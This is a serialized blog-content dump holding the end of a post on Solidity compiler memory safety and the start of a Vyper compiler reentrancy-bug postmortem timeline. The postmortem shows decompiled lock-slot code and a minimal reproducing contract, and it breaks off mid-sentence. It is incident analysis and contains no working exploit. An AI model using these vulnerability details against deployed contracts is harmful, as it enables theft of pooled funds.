passes.",{"type":21,"tag":54,"props":30346,"children":30348},{"id":30347},"undefined-behavior",[30349],{"type":26,"value":30350},"Undefined Behavior",{"type":21,"tag":22,"props":30352,"children":30353},{},[30354,30356,30361,30363,30368,30370,30376],{"type":26,"value":30355},"How strict is memory safety? When it comes to ",{"type":21,"tag":66,"props":30357,"children":30359},{"className":30358},[],[30360],{"type":26,"value":29814},{"type":26,"value":30362},", only touching memory after 0x80 seems to matter. Is ",{"type":21,"tag":66,"props":30364,"children":30366},{"className":30365},[],[30367],{"type":26,"value":29472},{"type":26,"value":30369}," annotated assembly that touches memory at ",{"type":21,"tag":66,"props":30371,"children":30373},{"className":30372},[],[30374],{"type":26,"value":30375},"[0x40, 0x7f]",{"type":26,"value":30377}," really safe?",{"type":21,"tag":22,"props":30379,"children":30380},{},[30381,30382,30389,30391,30396],{"type":26,"value":17034},{"type":21,"tag":335,"props":30383,"children":30386},{"href":30384,"rel":30385},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[339],[30387],{"type":26,"value":30388},"Solidity documentation",{"type":26,"value":30390}," mentions ",{"type":21,"tag":39,"props":30392,"children":30393},{},[30394],{"type":26,"value":30395},"undefined behavior",{"type":26,"value":30397}," three times.",{"type":21,"tag":841,"props":30399,"children":30400},{},[30401,30406,30421],{"type":21,"tag":845,"props":30402,"children":30403},{},[30404],{"type":26,"value":30405},"The existence of a dangling reference",{"type":21,"tag":845,"props":30407,"children":30408},{},[30409,30411],{"type":26,"value":30410},"Using verbatim improperly",{"type":21,"tag":15893,"props":30412,"children":30413},{},[30414],{"type":21,"tag":335,"props":30415,"children":30419},{"href":30416,"ariaDescribedBy":30417,"dataFootnoteRef":7,"id":30418},"#user-content-fn-2",[15900],"user-content-fnref-2",[30420],{"type":26,"value":3895},{"type":21,"tag":845,"props":30422,"children":30423},{},[30424],{"type":26,"value":30425},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":21,"tag":22,"props":30427,"children":30428},{},[30429],{"type":26,"value":30430},"Why does this matter?",{"type":21,"tag":22,"props":30432,"children":30433},{},[30434,30436,30443,30445,30452],{"type":26,"value":30435},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":21,"tag":335,"props":30437,"children":30440},{"href":30438,"rel":30439},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[339],[30441],{"type":26,"value":30442},"signed integer overflow is undefined",{"type":26,"value":30444},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":21,"tag":335,"props":30446,"children":30449},{"href":30447,"rel":30448},"https://blog.regehr.org/archives/1307",[339],[30450],{"type":26,"value":30451},"years down the line",{"type":26,"value":73},{"type":21,"tag":22,"props":30454,"children":30455},{},[30456,30458,30465,30466,30471],{"type":26,"value":30457},"Going back to Solidity, the specification makes ",{"type":21,"tag":335,"props":30459,"children":30462},{"href":30460,"rel":30461},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[339],[30463],{"type":26,"value":30464},"it unambiguously clear",{"type":26,"value":18956},{"type":21,"tag":39,"props":30467,"children":30468},{},[30469],{"type":26,"value":30470},"Thou shalt not modify the zero slot",{"type":26,"value":73},{"type":21,"tag":3712,"props":30473,"children":30474},{},[30475],{"type":21,"tag":22,"props":30476,"children":30477},{},[30478],{"type":26,"value":30479},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":21,"tag":22,"props":30481,"children":30482},{},[30483,30485,30490],{"type":26,"value":30484},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":21,"tag":39,"props":30486,"children":30487},{},[30488],{"type":26,"value":30489},"in Solidity",{"type":26,"value":73},{"type":21,"tag":22,"props":30492,"children":30493},{},[30494],{"type":26,"value":30495},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":21,"tag":841,"props":30497,"children":30498},{},[30499],{"type":21,"tag":845,"props":30500,"children":30501},{},[30502,30504,30511],{"type":26,"value":30503},"It very clearly ",{"type":21,"tag":335,"props":30505,"children":30508},{"href":30506,"rel":30507},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[339],[30509],{"type":26,"value":30510},"holds true today",{"type":26,"value":73},{"type":21,"tag":75,"props":30513,"children":30515},{"className":29553,"code":30514,"language":29555,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n    setLocation(_inlineAsm);\n    if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n        m_context.setMemoryUnsafeInlineAssemblySeen();\n    CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n    yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[30516],{"type":21,"tag":66,"props":30517,"children":30518},{"__ignoreMap":7},[30519,30559,30566,30579,30651,30672,30723,30730],{"type":21,"tag":85,"props":30520,"children":30521},{"class":87,"line":88},[30522,30526,30531,30536,30540,30545,30550,30555],{"type":21,"tag":85,"props":30523,"children":30524},{"style":102},[30525],{"type":26,"value":30129},{"type":21,"tag":85,"props":30527,"children":30528},{"style":114},[30529],{"type":26,"value":30530}," IRGeneratorForStatements::",{"type":21,"tag":85,"props":30532,"children":30533},{"style":1021},[30534],{"type":26,"value":30535},"visit",{"type":21,"tag":85,"props":30537,"children":30538},{"style":114},[30539],{"type":26,"value":1439},{"type":21,"tag":85,"props":30541,"children":30542},{"style":108},[30543],{"type":26,"value":30544},"InlineAssembly",{"type":21,"tag":85,"props":30546,"children":30547},{"style":102},[30548],{"type":26,"value":30549}," const&",{"type":21,"tag":85,"props":30551,"children":30552},{"style":120},[30553],{"type":26,"value":30554}," _inlineAsm",{"type":21,"tag":85,"props":30556,"children":30557},{"style":114},[30558],{"type":26,"value":2485},{"type":21,"tag":85,"props":30560,"children":30561},{"class":87,"line":98},[30562],{"type":21,"tag":85,"props":30563,"children":30564},{"style":114},[30565],{"type":26,"value":11296},{"type":21,"tag":85,"props":30567,"children":30568},{"class":87,"line":151},[30569,30574],{"type":21,"tag":85,"props":30570,"children":30571},{"style":1021},[30572],{"type":26,"value":30573},"    setLocation",{"type":21,"tag":85,"props":30575,"children":30576},{"style":114},[30577],{"type":26,"value":30578},"(_inlineAsm);\n",{"type":21,"tag":85,"props":30580,"children":30581},{"class":87,"line":160},[30582,30586,30590,30594,30599,30603,30608,30613,30618,30622,30626,30630,30634,30638,30642,30647],{"type":21,"tag":85,"props":30583,"children":30584},{"style":2885},[30585],{"type":26,"value":12696},{"type":21,"tag":85,"props":30587,"children":30588},{"style":114},[30589],{"type":26,"value":717},{"type":21,"tag":85,"props":30591,"children":30592},{"style":169},[30593],{"type":26,"value":3052},{"type":21,"tag":85,"props":30595,"children":30596},{"style":120},[30597],{"type":26,"value":30598},"_inlineAsm",{"type":21,"tag":85,"props":30600,"children":30601},{"style":114},[30602],{"type":26,"value":73},{"type":21,"tag":85,"props":30604,"children":30605},{"style":1021},[30606],{"type":26,"value":30607},"annotation",{"type":21,"tag":85,"props":30609,"children":30610},{"style":114},[30611],{"type":26,"value":30612},"().",{"type":21,"tag":85,"props":30614,"children":30615},{"style":120},[30616],{"type":26,"value":30617},"hasMemoryEffects",{"type":21,"tag":85,"props":30619,"children":30620},{"style":169},[30621],{"type":26,"value":14603},{"type":21,"tag":85,"props":30623,"children":30624},{"style":169},[30625],{"type":26,"value":13281},{"type":21,"tag":85,"props":30627,"children":30628},{"style":120},[30629],{"type":26,"value":30598},{"type":21,"tag":85,"props":30631,"children":30632},{"style":114},[30633],{"type":26,"value":73},{"type":21,"tag":85,"props":30635,"children":30636},{"style":1021},[30637],{"type":26,"value":30607},{"type":21,"tag":85,"props":30639,"children":30640},{"style":114},[30641],{"type":26,"value":30612},{"type":21,"tag":85,"props":30643,"children":30644},{"style":120},[30645],{"type":26,"value":30646},"markedMemorySafe",{"type":21,"tag":85,"props":30648,"children":30649},{"style":114},[30650],{"type":26,"value":2485},{"type":21,"tag":85,"props":30652,"children":30653},{"class":87,"line":185},[30654,30659,30663,30668],{"type":21,"tag":85,"props":30655,"children":30656},{"style":120},[30657],{"type":26,"value":30658},"        m_context",{"type":21,"tag":85,"props":30660,"children":30661},{"style":114},[30662],{"type":26,"value":73},{"type":21,"tag":85,"props":30664,"children":30665},{"style":1021},[30666],{"type":26,"value":30667},"setMemoryUnsafeInlineAssemblySeen",{"type":21,"tag":85,"props":30669,"children":30670},{"style":114},[30671],{"type":26,"value":4437},{"type":21,"tag":85,"props":30673,"children":30674},{"class":87,"line":501},[30675,30680,30684,30688,30693,30698,30702,30706,30710,30714,30719],{"type":21,"tag":85,"props":30676,"children":30677},{"style":114},[30678],{"type":26,"value":30679},"    CopyTranslate bodyCopier{",{"type":21,"tag":85,"props":30681,"children":30682},{"style":120},[30683],{"type":26,"value":30598},{"type":21,"tag":85,"props":30685,"children":30686},{"style":114},[30687],{"type":26,"value":73},{"type":21,"tag":85,"props":30689,"children":30690},{"style":1021},[30691],{"type":26,"value":30692},"dialect",{"type":21,"tag":85,"props":30694,"children":30695},{"style":114},[30696],{"type":26,"value":30697},"(), m_context, ",{"type":21,"tag":85,"props":30699,"children":30700},{"style":120},[30701],{"type":26,"value":30598},{"type":21,"tag":85,"props":30703,"children":30704},{"style":114},[30705],{"type":26,"value":73},{"type":21,"tag":85,"props":30707,"children":30708},{"style":1021},[30709],{"type":26,"value":30607},{"type":21,"tag":85,"props":30711,"children":30712},{"style":114},[30713],{"type":26,"value":30612},{"type":21,"tag":85,"props":30715,"children":30716},{"style":120},[30717],{"type":26,"value":30718},"externalReferences",{"type":21,"tag":85,"props":30720,"children":30721},{"style":114},[30722],{"type":26,"value":16998},{"type":21,"tag":85,"props":30724,"children":30725},{"class":87,"line":697},[30726],{"type":21,"tag":85,"props":30727,"children":30728},{"emptyLinePlaceholder":16},[30729],{"type":26,"value":703},{"type":21,"tag":85,"props":30731,"children":30732},{"class":87,"line":706},[30733,30738,30742,30747,30751,30755,30759,30764],{"type":21,"tag":85,"props":30734,"children":30735},{"style":114},[30736],{"type":26,"value":30737},"    yul::Statement modified ",{"type":21,"tag":85,"props":30739,"children":30740},{"style":169},[30741],{"type":26,"value":741},{"type":21,"tag":85,"props":30743,"children":30744},{"style":1021},[30745],{"type":26,"value":30746}," bodyCopier",{"type":21,"tag":85,"props":30748,"children":30749},{"style":114},[30750],{"type":26,"value":1439},{"type":21,"tag":85,"props":30752,"children":30753},{"style":120},[30754],{"type":26,"value":30598},{"type":21,"tag":85,"props":30756,"children":30757},{"style":114},[30758],{"type":26,"value":73},{"type":21,"tag":85,"props":30760,"children":30761},{"style":1021},[30762],{"type":26,"value":30763},"operations",{"type":21,"tag":85,"props":30765,"children":30766},{"style":114},[30767],{"type":26,"value":30768},"());`\n",{"type":21,"tag":841,"props":30770,"children":30771},{"start":98},[30772],{"type":21,"tag":845,"props":30773,"children":30774},{},[30775],{"type":26,"value":30776},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":21,"tag":22,"props":30778,"children":30779},{},[30780],{"type":26,"value":30781},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":21,"tag":54,"props":30783,"children":30784},{"id":3604},[30785],{"type":26,"value":3607},{"type":21,"tag":22,"props":30787,"children":30788},{},[30789],{"type":26,"value":30790},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":21,"tag":22,"props":30792,"children":30793},{},[30794],{"type":26,"value":30795},"It's a promise between YUL generation and optimization.",{"type":21,"tag":18846,"props":30797,"children":30799},{"className":30798,"dataFootnotes":7},[18849],[30800,30805],{"type":21,"tag":54,"props":30801,"children":30803},{"className":30802,"id":15900},[18854],[30804],{"type":26,"value":18857},{"type":21,"tag":841,"props":30806,"children":30807},{},[30808,30842],{"type":21,"tag":845,"props":30809,"children":30811},{"id":30810},"user-content-fn-1",[30812,30814,30819,30821,30827,30829,30834,30836],{"type":26,"value":30813},"As an interesting aside, ",{"type":21,"tag":66,"props":30815,"children":30817},{"className":30816},[],[30818],{"type":26,"value":29814},{"type":26,"value":30820}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":21,"tag":66,"props":30822,"children":30824},{"className":30823},[],[30825],{"type":26,"value":30826},"memory-unsafe",{"type":26,"value":30828}," code can ",{"type":21,"tag":39,"props":30830,"children":30831},{},[30832],{"type":26,"value":30833},"decrease",{"type":26,"value":30835}," gas consumption, especially in the YUL header. ",{"type":21,"tag":335,"props":30837,"children":30840},{"href":30838,"ariaLabel":18960,"className":30839,"dataFootnoteBackref":7},"#user-content-fnref-1",[18962],[30841],{"type":26,"value":18965},{"type":21,"tag":845,"props":30843,"children":30845},{"id":30844},"user-content-fn-2",[30846,30848,30853,30855],{"type":26,"value":30847},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":21,"tag":39,"props":30849,"children":30850},{},[30851],{"type":26,"value":30852},"guarantee",{"type":26,"value":30854}," behavior with opaque bytes. ",{"type":21,"tag":335,"props":30856,"children":30859},{"href":30857,"ariaLabel":18980,"className":30858,"dataFootnoteBackref":7},"#user-content-fnref-2",[18962],[30860],{"type":26,"value":18965},{"type":21,"tag":3632,"props":30862,"children":30863},{},[30864],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":30866},[30867,30868,30869,30870,30871,30872,30873],{"id":29458,"depth":98,"text":29461},{"id":29512,"depth":98,"text":29515},{"id":29776,"depth":98,"text":29779},{"id":29507,"depth":98,"text":30000},{"id":30347,"depth":98,"text":30350},{"id":3604,"depth":98,"text":3607},{"id":15900,"depth":98,"text":18857},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":30878,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":30879,"description":30880,"author":10,"image":30881,"date":30883,"isFeatured":16,"onBlogPage":16,"tags":30884,"body":30886,"_type":3642,"_id":31637,"_source":3644,"_file":31638,"_stem":31639,"_extension":3647},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":30882,"height":14041,"width":14041},"/posts/vyper-timeline/header.jpg","2023-08-01",[30885,29453],"vyper",{"type":18,"children":30887,"toc":31628},[30888,30893,30898,30903,30909,30914,30932,30942,30947,30955,30965,30984,31064,31074,31234,31239,31244,31254,31261,31266,31271,31285,31290,31307,31324,31343,31353,31366,31371,31384,31389,31394,31404,31431,31441,31471,31477,31486,31492,31497,31502,31507,31513,31518,31532,31537,31542,31547,31553,31558,31571,31597,31602,31624],{"type":21,"tag":22,"props":30889,"children":30890},{},[30891],{"type":26,"value":30892},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":21,"tag":22,"props":30894,"children":30895},{},[30896],{"type":26,"value":30897},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":21,"tag":22,"props":30899,"children":30900},{},[30901],{"type":26,"value":30902},"Here's how it all happened.",{"type":21,"tag":54,"props":30904,"children":30906},{"id":30905},"timeline",[30907],{"type":26,"value":30908},"Timeline",{"type":21,"tag":22,"props":30910,"children":30911},{},[30912],{"type":26,"value":30913},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":21,"tag":22,"props":30915,"children":30916},{},[30917,30922,30924,30931],{"type":21,"tag":873,"props":30918,"children":30919},{},[30920],{"type":26,"value":30921},"13:10 UTC",{"type":26,"value":30923}," pETH/ETH was ",{"type":21,"tag":335,"props":30925,"children":30928},{"href":30926,"rel":30927},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[339],[30929],{"type":26,"value":30930},"drained of $11M",{"type":26,"value":73},{"type":21,"tag":22,"props":30933,"children":30934},{},[30935,30940],{"type":21,"tag":873,"props":30936,"children":30937},{},[30938],{"type":26,"value":30939},"13:19 UTC",{"type":26,"value":30941}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":21,"tag":22,"props":30943,"children":30944},{},[30945],{"type":26,"value":30946},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":21,"tag":3712,"props":30948,"children":30949},{},[30950],{"type":21,"tag":22,"props":30951,"children":30952},{},[30953],{"type":26,"value":30954},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":21,"tag":22,"props":30956,"children":30957},{},[30958,30963],{"type":21,"tag":873,"props":30959,"children":30960},{},[30961],{"type":26,"value":30962},"14:01 UTC",{"type":26,"value":30964}," A warroom was formed around this comment.",{"type":21,"tag":22,"props":30966,"children":30967},{},[30968,30973,30975,30982],{"type":21,"tag":873,"props":30969,"children":30970},{},[30971],{"type":26,"value":30972},"14:07 UTC",{"type":26,"value":30974}," We decompiled the JPEGd contract ",{"type":21,"tag":335,"props":30976,"children":30979},{"href":30977,"rel":30978},"https://ethervm.io/decompile",[339],[30980],{"type":26,"value":30981},"with our favorite decompiler",{"type":26,"value":30983}," and noted a difference in reentrancy guard storage slot.",{"type":21,"tag":75,"props":30985,"children":30989},{"className":30986,"code":30987,"language":30988,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n    storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n    storage[0x02] = 0x01;\n","yul",[30990],{"type":21,"tag":66,"props":30991,"children":30992},{"__ignoreMap":7},[30993,31001,31009,31017,31025,31032,31040,31048,31056],{"type":21,"tag":85,"props":30994,"children":30995},{"class":87,"line":88},[30996],{"type":21,"tag":85,"props":30997,"children":30998},{},[30999],{"type":26,"value":31000},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":21,"tag":85,"props":31002,"children":31003},{"class":87,"line":98},[31004],{"type":21,"tag":85,"props":31005,"children":31006},{},[31007],{"type":26,"value":31008},"label_0057:\n",{"type":21,"tag":85,"props":31010,"children":31011},{"class":87,"line":151},[31012],{"type":21,"tag":85,"props":31013,"children":31014},{},[31015],{"type":26,"value":31016},"    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":21,"tag":85,"props":31018,"children":31019},{"class":87,"line":160},[31020],{"type":21,"tag":85,"props":31021,"children":31022},{},[31023],{"type":26,"value":31024},"    storage[0x00] = 0x01;\n",{"type":21,"tag":85,"props":31026,"children":31027},{"class":87,"line":185},[31028],{"type":21,"tag":85,"props":31029,"children":31030},{"emptyLinePlaceholder":16},[31031],{"type":26,"value":703},{"type":21,"tag":85,"props":31033,"children":31034},{"class":87,"line":501},[31035],{"type":21,"tag":85,"props":31036,"children":31037},{},[31038],{"type":26,"value":31039},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":21,"tag":85,"props":31041,"children":31042},{"class":87,"line":697},[31043],{"type":21,"tag":85,"props":31044,"children":31045},{},[31046],{"type":26,"value":31047},"label_1AF3:\n",{"type":21,"tag":85,"props":31049,"children":31050},{"class":87,"line":706},[31051],{"type":21,"tag":85,"props":31052,"children":31053},{},[31054],{"type":26,"value":31055},"    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":21,"tag":85,"props":31057,"children":31058},{"class":87,"line":1100},[31059],{"type":21,"tag":85,"props":31060,"children":31061},{},[31062],{"type":26,"value":31063},"    storage[0x02] = 0x01;\n",{"type":21,"tag":22,"props":31065,"children":31066},{},[31067,31072],{"type":21,"tag":873,"props":31068,"children":31069},{},[31070],{"type":26,"value":31071},"14:27 UTC",{"type":26,"value":31073}," We confirmed this behavior with a simple local test contract.",{"type":21,"tag":75,"props":31075,"children":31077},{"className":19888,"code":31076,"language":19887,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n    return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n    return False\n",[31078],{"type":21,"tag":66,"props":31079,"children":31080},{"__ignoreMap":7},[31081,31089,31110,31145,31157,31164,31171,31190,31222],{"type":21,"tag":85,"props":31082,"children":31083},{"class":87,"line":88},[31084],{"type":21,"tag":85,"props":31085,"children":31086},{"style":1021},[31087],{"type":26,"value":31088},"@external\n",{"type":21,"tag":85,"props":31090,"children":31091},{"class":87,"line":98},[31092,31097,31101,31106],{"type":21,"tag":85,"props":31093,"children":31094},{"style":1021},[31095],{"type":26,"value":31096},"@nonreentrant",{"type":21,"tag":85,"props":31098,"children":31099},{"style":114},[31100],{"type":26,"value":1439},{"type":21,"tag":85,"props":31102,"children":31103},{"style":5026},[31104],{"type":26,"value":31105},"\"lock\"",{"type":21,"tag":85,"props":31107,"children":31108},{"style":114},[31109],{"type":26,"value":2485},{"type":21,"tag":85,"props":31111,"children":31112},{"class":87,"line":151},[31113,31118,31123,31127,31132,31137,31141],{"type":21,"tag":85,"props":31114,"children":31115},{"style":102},[31116],{"type":26,"value":31117},"def",{"type":21,"tag":85,"props":31119,"children":31120},{"style":1021},[31121],{"type":26,"value":31122}," test",{"type":21,"tag":85,"props":31124,"children":31125},{"style":114},[31126],{"type":26,"value":1439},{"type":21,"tag":85,"props":31128,"children":31129},{"style":120},[31130],{"type":26,"value":31131},"addr",{"type":21,"tag":85,"props":31133,"children":31134},{"style":114},[31135],{"type":26,"value":31136},": address) -> ",{"type":21,"tag":85,"props":31138,"children":31139},{"style":108},[31140],{"type":26,"value":30129},{"type":21,"tag":85,"props":31142,"children":31143},{"style":114},[31144],{"type":26,"value":6335},{"type":21,"tag":85,"props":31146,"children":31147},{"class":87,"line":160},[31148,31152],{"type":21,"tag":85,"props":31149,"children":31150},{"style":2885},[31151],{"type":26,"value":17411},{"type":21,"tag":85,"props":31153,"children":31154},{"style":102},[31155],{"type":26,"value":31156}," True\n",{"type":21,"tag":85,"props":31158,"children":31159},{"class":87,"line":185},[31160],{"type":21,"tag":85,"props":31161,"children":31162},{"emptyLinePlaceholder":16},[31163],{"type":26,"value":703},{"type":21,"tag":85,"props":31165,"children":31166},{"class":87,"line":501},[31167],{"type":21,"tag":85,"props":31168,"children":31169},{"style":1021},[31170],{"type":26,"value":31088},{"type":21,"tag":85,"props":31172,"children":31173},{"class":87,"line":697},[31174,31178,31182,31186],{"type":21,"tag":85,"props":31175,"children":31176},{"style":1021},[31177],{"type":26,"value":31096},{"type":21,"tag":85,"props":31179,"children":31180},{"style":114},[31181],{"type":26,"value":1439},{"type":21,"tag":85,"props":31183,"children":31184},{"style":5026},[31185],{"type":26,"value":31105},{"type":21,"tag":85,"props":31187,"children":31188},{"style":114},[31189],{"type":26,"value":2485},{"type":21,"tag":85,"props":31191,"children":31192},{"class":87,"line":706},[31193,31197,31202,31206,31210,31214,31218],{"type":21,"tag":85,"props":31194,"children":31195},{"style":102},[31196],{"type":26,"value":31117},{"type":21,"tag":85,"props":31198,"children":31199},{"style":1021},[31200],{"type":26,"value":31201}," test2",{"type":21,"tag":85,"props":31203,"children":31204},{"style":114},[31205],{"type":26,"value":1439},{"type":21,"tag":85,"props":31207,"children":31208},{"style":120},[31209],{"type":26,"value":31131},{"type":21,"tag":85,"props":31211,"children":31212},{"style":114},[31213],{"type":26,"value":31136},{"type":21,"tag":85,"props":31215,"children":31216},{"style":108},[31217],{"type":26,"value":30129},{"type":21,"tag":85,"props":31219,"children":31220},{"style":114},[31221],{"type":26,"value":6335},{"type":21,"tag":85,"props":31223,"children":31224},{"class":87,"line":1100},[31225,31229],{"type":21,"tag":85,"props":31226,"children":31227},{"style":2885},[31228],{"type":26,"value":17411},{"type":21,"tag":85,"props":31230,"children":31231},{"style":102},[31232],{"type":26,"value":31233}," False\n",{"type":21,"tag":22,"props":31235,"children":31236},{},[31237],{"type":26,"value":31238},"This was not just another reentrancy bug.",{"type":21,"tag":22,"props":31240,"children":31241},{},[31242],{"type":26,"value":31243},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":21,"tag":22,"props":31245,"children":31246},{},[31247,31252],{"type":21,"tag":873,"props":31248,"children":31249},{},[31250],{"type":26,"value":31251},"14:37 UTC",{"type":26,"value":31253}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":21,"tag":22,"props":31255,"children":31256},{},[31257],{"type":21,"tag":4681,"props":31258,"children":31260},{"alt":7,"src":31259},"/posts/vyper-timeline/sstore.png",[],{"type":21,"tag":22,"props":31262,"children":31263},{},[31264],{"type":26,"value":31265},"It was a race with the hackers.",{"type":21,"tag":22,"props":31267,"children":31268},{},[31269],{"type":26,"value":31270},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":21,"tag":3712,"props":31272,"children":31273},{},[31274],{"type":21,"tag":22,"props":31275,"children":31276},{},[31277,31279],{"type":26,"value":31278},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":21,"tag":335,"props":31280,"children":31283},{"href":31281,"rel":31282},"https://twitter.com/hexagate_/status/1685677801813217280",[339],[31284],{"type":26,"value":31281},{"type":21,"tag":22,"props":31286,"children":31287},{},[31288],{"type":26,"value":31289},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":21,"tag":22,"props":31291,"children":31292},{},[31293,31298,31299,31306],{"type":21,"tag":873,"props":31294,"children":31295},{},[31296],{"type":26,"value":31297},"14:50 UTC",{"type":26,"value":790},{"type":21,"tag":335,"props":31300,"children":31303},{"href":31301,"rel":31302},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[339],[31304],{"type":26,"value":31305},"msETH/ETH was drained",{"type":26,"value":73},{"type":21,"tag":22,"props":31308,"children":31309},{},[31310,31315,31316,31323],{"type":21,"tag":873,"props":31311,"children":31312},{},[31313],{"type":26,"value":31314},"15:34 UTC",{"type":26,"value":790},{"type":21,"tag":335,"props":31317,"children":31320},{"href":31318,"rel":31319},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[339],[31321],{"type":26,"value":31322},"alETH/ETH was drained",{"type":26,"value":73},{"type":21,"tag":22,"props":31325,"children":31326},{},[31327,31332,31334,31341],{"type":21,"tag":873,"props":31328,"children":31329},{},[31330],{"type":26,"value":31331},"15:43 UTC",{"type":26,"value":31333}," We identified that ",{"type":21,"tag":335,"props":31335,"children":31338},{"href":31336,"rel":31337},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[339],[31339],{"type":26,"value":31340},"CRV/ETH was vulnerable",{"type":26,"value":31342},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":21,"tag":22,"props":31344,"children":31345},{},[31346,31351],{"type":21,"tag":873,"props":31347,"children":31348},{},[31349],{"type":26,"value":31350},"16:11 UTC",{"type":26,"value":31352}," We began working on a whitehat exploit.",{"type":21,"tag":22,"props":31354,"children":31355},{},[31356,31358,31365],{"type":26,"value":31357},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":21,"tag":335,"props":31359,"children":31362},{"href":31360,"rel":31361},"https://twitter.com/vyperlang/status/1685692973051498497",[339],[31363],{"type":26,"value":31364},"public statement on affected versions",{"type":26,"value":73},{"type":21,"tag":22,"props":31367,"children":31368},{},[31369],{"type":26,"value":31370},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":21,"tag":22,"props":31372,"children":31373},{},[31374,31376,31383],{"type":26,"value":31375},"Five minutes later at 19:11 UTC, ",{"type":21,"tag":335,"props":31377,"children":31380},{"href":31378,"rel":31379},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[339],[31381],{"type":26,"value":31382},"somebody else stole the funds",{"type":26,"value":73},{"type":21,"tag":22,"props":31385,"children":31386},{},[31387],{"type":26,"value":31388},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":21,"tag":22,"props":31390,"children":31391},{},[31392],{"type":26,"value":31393},"Nevertheless, there was more ground to cover.",{"type":21,"tag":22,"props":31395,"children":31396},{},[31397,31402],{"type":21,"tag":873,"props":31398,"children":31399},{},[31400],{"type":26,"value":31401},"21:26 UTC",{"type":26,"value":31403}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":21,"tag":3712,"props":31405,"children":31406},{},[31407],{"type":21,"tag":22,"props":31408,"children":31409},{},[31410,31412,31416,31418,31421,31423,31426,31428],{"type":26,"value":31411},"if you send like 30k crv to the crv/eth pool ",{"type":21,"tag":31413,"props":31414,"children":31415},"br",{},[],{"type":26,"value":31417},"\nyou can then update admin fee 